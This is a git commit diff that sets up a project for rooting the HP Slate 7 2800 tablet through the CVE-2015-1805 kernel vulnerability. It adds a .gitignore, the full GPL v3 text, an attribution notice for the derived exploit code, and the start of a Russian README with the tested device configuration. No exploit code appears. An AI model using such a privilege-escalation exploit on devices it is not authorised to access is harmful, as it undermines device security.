initial exploit
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
/build/
|
||||
.DS_Store
|
||||
|
||||
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||
@@ -0,0 +1,14 @@
|
||||
The CVE-2015-1805 exploit code is derived from:
|
||||
|
||||
mobilelinux/iovy_root_research, commit f945796
|
||||
https://github.com/mobilelinux/iovy_root_research
|
||||
|
||||
That project states that it was inspired by:
|
||||
|
||||
dosomder/iovyroot
|
||||
https://github.com/dosomder/iovyroot
|
||||
|
||||
The imported source files retain their original copyright and license
|
||||
notices. Device-specific modifications, the installer, the minimal su
|
||||
wrapper, documentation, and build scripts are distributed under GPL-3.0.
|
||||
|
||||
+442
@@ -0,0 +1,442 @@
|
||||
# Root для HP Slate 7 2800 на Android 4.1.1
|
||||
|
||||
[English](README.md) | **Русский**
|
||||
|
||||
Этот репозиторий содержит полный автономный комплект для получения постоянного
|
||||
root-доступа на **HP Slate 7 2800** с прошивкой **1.05.18** и ядром
|
||||
**Linux 3.0.8+** через локальную уязвимость **CVE-2015-1805**. Комплект был
|
||||
реально выполнен на планшете, а результат проверен из нового ADB-сеанса и после
|
||||
обычной перезагрузки.
|
||||
|
||||
Это не универсальный Android-root. Эксплойт привязан к конкретной конфигурации
|
||||
ядра HP. Не запускайте его на другой модели, прошивке или версии ядра.
|
||||
|
||||
## Проверенная конфигурация
|
||||
|
||||
| Параметр | Проверенное значение |
|
||||
|---|---|
|
||||
| Производитель и модель | HP Slate 7 2800 |
|
||||
| Android | 4.1.1, API 16, сборка JRO03H |
|
||||
| Product / device | `t7h` / `pine` |
|
||||
| Процессор | Rockchip RK3066, ARMv7 |
|
||||
| Build fingerprint | `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys` |
|
||||
| Ядро | `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015` |
|
||||
| ABI | 32-битный ARM EABI5 |
|
||||
| SELinux | отсутствует в конфигурации ядра (`CONFIG_SECURITY` отключён) |
|
||||
